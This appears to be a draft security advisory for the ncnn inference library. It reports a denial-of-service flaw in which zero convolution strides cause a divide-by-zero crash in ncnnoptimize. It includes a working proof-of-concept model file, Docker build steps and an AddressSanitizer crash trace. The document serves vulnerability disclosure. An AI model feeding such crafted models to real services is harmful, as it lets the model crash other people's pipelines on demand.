All advisories
Draft

Zero Convolution Stride Causes Optimizer DoS

Tencent/ncnn

Affected packages

ncnn other
Affected versions= 5e66f094bf7c597b4569cc014a8be84104748678
Patched versionsNot specified

Description

Zero Convolution Stride Causes Optimizer DoS

Affected commit: 5e66f094bf7c597b4569cc014a8be84104748678
Sink: src/layer/convolution.cpp:264 in Convolution::forward
Sanitizer verdict: FPE on unknown address 0x63d376410d6c (pc 0x63d376410d6c bp 0x7ffd9f5dd000 sp 0x7ffd9f5dcb60 T0)

The observed crash lands in src/layer/x86/convolution_x86.cpp:618, which is the ISA-specialised copy of the reported code path.

Summary

An attacker who can hand ncnn a .param/.bin model pair crashes the process that reads it: ncnnoptimize terminates with SIGFPE before writing any output. The model declares a Convolution layer whose stride parameters (keys 3 and 13) are zero; ncnn stores those values verbatim and later divides the padded input dimensions by them while computing the output shape. Any service or build pipeline that runs ncnnoptimize (or any ncnn consumer that executes the graph) on a submitted model can be killed on demand with a two-layer text file.

Detail

The untrusted fields are parameter keys 3 (stride_w) and 13 (stride_h) of the Convolution layer record. Convolution::load_param copies them straight out of the ParamDict with no lower bound — pd.get(3, 1) only supplies a default when the key is absent, so an explicit 3=0 is preserved as a legitimate stride. Nothing between Net::load_param and layer execution re-checks the value.

ncnnoptimize then calls optimizer.shape_inference() (tools/ncnnoptimize.cpp:2844), which runs ex.extract(top_blob_index, m) for every layer output (tools/modelwriter.h:435). Extraction actually executes the convolution, and the output-extent computation divides by the stride:

// src/layer/convolution.cpp:18
int Convolution::load_param(const ParamDict& pd)
{
    num_output = pd.get(0, 0);
    kernel_w = pd.get(1, 0);
    kernel_h = pd.get(11, kernel_w);
    dilation_w = pd.get(2, 1);
    dilation_h = pd.get(12, dilation_w);
    stride_w = pd.get(3, 1);
    stride_h = pd.get(13, stride_w);

// src/layer/convolution.cpp:261
    const int kernel_extent_w = dilation_w * (kernel_w - 1) + 1;
    const int kernel_extent_h = dilation_h * (kernel_h - 1) + 1;

    const int outw = (w - kernel_extent_w) / stride_w + 1;
    const int outh = (h - kernel_extent_h) / stride_h + 1;

The PoC feeds a 3x3x1 Input blob into Convolution conv 1 1 data conv 0=1 1=3 11=3 3=0 13=0 5=0 6=9, i.e. a 3x3 kernel with both strides zero and nine FP32 weights. At the sink w and h are 3, kernel_extent_w and kernel_extent_h are 3, so the expression evaluates (3 - 3) / 0. On x86 this is an idiv with a zero divisor, which raises #DE and delivers SIGFPE; the process dies inside shape inference and never reaches optimizer.save(). The x86 override carries the identical expression at src/layer/x86/convolution_x86.cpp:618 (int outw = (w - kernel_extent_w) / stride_w + 1;), which is the frame the trace reports, so selecting the SIMD path does not avoid the divisor.

Reproduce

Build and run (writes the Dockerfile, builds ncnn with ASan, runs the PoC)
mkdir -p ncnn-poc-zero-convolution-stride-causes-optimizer-dos && cd ncnn-poc-zero-convolution-stride-causes-optimizer-dos

cat > Dockerfile <<'DOCKERFILE'
FROM ubuntu:24.04

RUN apt-get update && apt-get install -y --no-install-recommends \
      git ca-certificates g++ cmake make python3 python3-pip python3-numpy \
      protobuf-compiler libprotobuf-dev \
 && pip3 install --no-cache-dir --break-system-packages onnx protobuf \
 && rm -rf /var/lib/apt/lists/*

RUN git clone --depth 1 https://github.com/Tencent/ncnn.git /ncnn

WORKDIR /ncnn
RUN cmake -S . -B build \
      -DCMAKE_BUILD_TYPE=Debug \
      -DCMAKE_C_FLAGS="-O0 -g -fsanitize=address" \
      -DCMAKE_CXX_FLAGS="-O0 -g -fsanitize=address" \
      -DCMAKE_EXE_LINKER_FLAGS="-fsanitize=address" \
      -DNCNN_BUILD_TOOLS=ON -DNCNN_BUILD_EXAMPLES=ON -DNCNN_BUILD_BENCHMARK=ON \
      -DNCNN_BUILD_TESTS=OFF -DNCNN_VULKAN=OFF -DNCNN_OPENMP=OFF \
 && cmake --build build -j"$(nproc)"

ENV ASAN_OPTIONS=detect_leaks=0
WORKDIR /poc
DOCKERFILE

cat > poc.param <<'EOF'
7767517
2 2
Input data 0 1 data 0=3 1=3 2=1
Convolution conv 1 1 data conv 0=1 1=3 11=3 3=0 13=0 5=0 6=9
EOF

head -c 40 /dev/zero > poc.bin

docker build -t ncnn-asan .
docker run --rm --network none -v "$PWD:/poc" ncnn-asan \
  /ncnn/build/tools/ncnnoptimize poc.param poc.bin out.param out.bin 0

AddressSanitizer output:

shape_inference
AddressSanitizer:DEADLYSIGNAL
=================================================================
==1==ERROR: AddressSanitizer: FPE on unknown address 0x5eed479fcd6c (pc 0x5eed479fcd6c bp 0x7ffdfe44a230 sp 0x7ffdfe449d90 T0)
    #0 0x5eed479fcd6c in ncnn::Convolution_x86_avx512::forward(ncnn::Mat const&, ncnn::Mat&, ncnn::Option const&) const /ncnn/build/src/layer/x86/convolution_x86_avx512.cpp:618
    #1 0x5eed46bc5f2b in ncnn::NetPrivate::do_forward_layer(ncnn::Layer const*, std::vector<ncnn::Mat, std::allocator<ncnn::Mat> >&, ncnn::Option const&) const /ncnn/src/net.cpp:721
    #2 0x5eed46bb7b7f in ncnn::NetPrivate::forward_layer(int, std::vector<ncnn::Mat, std::allocator<ncnn::Mat> >&, ncnn::Option const&) const /ncnn/src/net.cpp:167
    #3 0x5eed46c179e9 in ncnn::Extractor::extract(int, ncnn::Mat&, int) /ncnn/src/net.cpp:2939
    #4 0x5eed46aa93c0 in ModelWriter::shape_inference() /ncnn/tools/modelwriter.h:435
    #5 0x5eed46b26eee in main /ncnn/tools/ncnnoptimize.cpp:2844
    #6 0x7c537ba541c9  (/lib/x86_64-linux-gnu/libc.so.6+0x2a1c9) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
    #7 0x7c537ba5428a in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2a28a) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
    #8 0x5eed46aa6624 in _start (/ncnn/build/tools/ncnnoptimize+0x2a1624) (BuildId: b1911b1bfb480c5a294bfb9d0e0f7bbde3aaf530)

AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: FPE /ncnn/build/src/layer/x86/convolution_x86_avx512.cpp:618 in ncnn::Convolution_x86_avx512::forward(ncnn::Mat const&, ncnn::Mat&, ncnn::Option const&) const
==1==ABORTING

Credit

Zheng Yu @ DepthFirst